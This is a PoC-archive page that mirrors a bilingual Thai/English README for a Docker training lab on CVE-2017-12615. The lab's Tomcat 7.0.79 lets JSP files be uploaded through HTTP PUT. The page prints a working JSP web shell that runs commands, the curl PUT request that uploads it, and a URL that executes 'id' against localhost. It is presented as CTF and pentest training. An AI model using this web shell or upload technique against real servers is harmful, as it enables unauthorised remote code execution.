Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1310 CNY

100%

CVE-2017-12615 PoC — Apache Tomcat 安全漏洞

Source
Associated Vulnerability
Title:Apache Tomcat 安全漏洞 (CVE-2017-12615)
Description:When running Apache Tomcat 7.0.0 to 7.0.79 on Windows with HTTP PUTs enabled (e.g. via setting the readonly initialisation parameter of the Default to false) it was possible to upload a JSP file to the server via a specially crafted request. This JSP could then be requested and any code it contained would be executed by the server.
Description
CVE-2017-12615 Tomcat: Remote Code Execution via JSP Upload Home Lab for Red Teaming, Penetration Testing
Readme
# ENGLISH BELOW

# CVE-2017-12615 Tomcat: Remote Code Execution via JSP Upload  

<p align="center">
    <img width="500" height="500" alt="image" src="https://github.com/user-attachments/assets/876f7dc7-72cf-486a-85d7-463bcb3602fa" />
</p>


Lab นี้จำลองช่องโหว่ **CVE-2017-12615 Tomcat: Remote Code Execution via JSP Upload**  
เกิดจากการตั้งค่า `readonly=false` ทำให้สามารถอัปโหลดไฟล์ผ่าน **HTTP PUT** ได้ รวมถึงไฟล์ `.jsp` ที่สามารถรันคำสั่ง (RCE)

---
<img width="1920" height="939" alt="image" src="https://github.com/user-attachments/assets/25f83824-42af-4973-beb1-463ab1fa8563" />

## Features

- Apache **Tomcat 7.0.79** (vulnerable)
- ใช้ DefaultServlet override พร้อมค่า `readonly=false`
- สามารถใช้ PUT Upload เพื่อวางไฟล์ `.jsp` ลงใน ROOT web directory
- รองรับการ Execute คำสั่งผ่าน web shell
- หน้าเว็บสไตล์ Industrial พร้อม internal note ที่ลืมลบ (Hint)
- ระบบสร้าง `flag_RANDOM.txt` อัตโนมัติทุกครั้งที่ container start
- ออกแบบสำหรับ CTF / Red Team / Pentest Training

---

## Directory Structure

```
/opt/apache-tomcat-7.0.79/
/opt/apache-tomcat-7.0.79/webapps/ROOT/index.jsp
/opt/apache-tomcat-7.0.79/webapps/ROOT/WEB-INF/web.xml
/tmp/flag_RANDOM.txt
/docker-entrypoint.sh
```

---

## การใช้งาน (Run Container)

```bash
docker compose build
docker compose up -d
```

เปิดเว็บ:

```
http://localhost:8080/
```

---

## วิธีทดสอบช่องโหว่ CVE-2017-12615

### 1) สร้างไฟล์ JSP payload

```bash
cat > shell.jsp << 'EOF'
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
    String s;
    Process p = Runtime.getRuntime().exec(cmd);
    BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
    while ((s = r.readLine()) != null) out.println(s + "<br>");
}
%>
EOF
```

### 2) อัปโหลดไฟล์ด้วย PUT (ต้องมี `/` ท้ายชื่อไฟล์)

```bash
curl -v -X PUT "http://localhost:8080/shell.jsp/"   -H "Content-Type: text/plain"   --data-binary @shell.jsp
```

### 3) เรียกใช้งาน webshell

```
http://localhost:8080/shell.jsp?cmd=id
```

---

## Flag

เก็บไว้ใน:

```
/tmp/flag_RANDOM.txt
```

---

# English Version — CVE-2017-12615 Tomcat: Remote Code Execution via JSP Upload

This lab simulates **CVE-2017-12615 Tomcat: Remote Code Execution via JSP Upload**, where Apache Tomcat’s `DefaultServlet` is misconfigured with:

```
readonly=false
```

This allows attackers to upload `.jsp` files via **HTTP PUT**, enabling remote code execution.

---
<img width="1920" height="939" alt="image" src="https://github.com/user-attachments/assets/45c36873-550a-4a20-8d9b-e9e722792367" />

## Features

- Vulnerable **Apache Tomcat 7.0.79**  
- DefaultServlet override with `readonly=false`  
- PUT Upload → write arbitrary `.jsp` files into ROOT web directory  
- Supports command execution through JSP shell  
- Industrial-style landing page with a subtle internal hint  
- Auto-generated `flag_RANDOM.txt` at container startup  
- Fit for CTF, research, and exploit development

---

## Exploitation Example

### Upload a JSP shell

```bash
curl -v -X PUT "http://localhost:8080/shell.jsp/"   -H "Content-Type: text/plain"   --data-binary @shell.jsp
```

### Execute commands

```
http://localhost:8080/shell.jsp?cmd=id
```

---

## Flag Location

```
/tmp/flag_RANDOM.txt
```

---

## Disclaimer

For educational, research, and authorized penetration testing only.
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →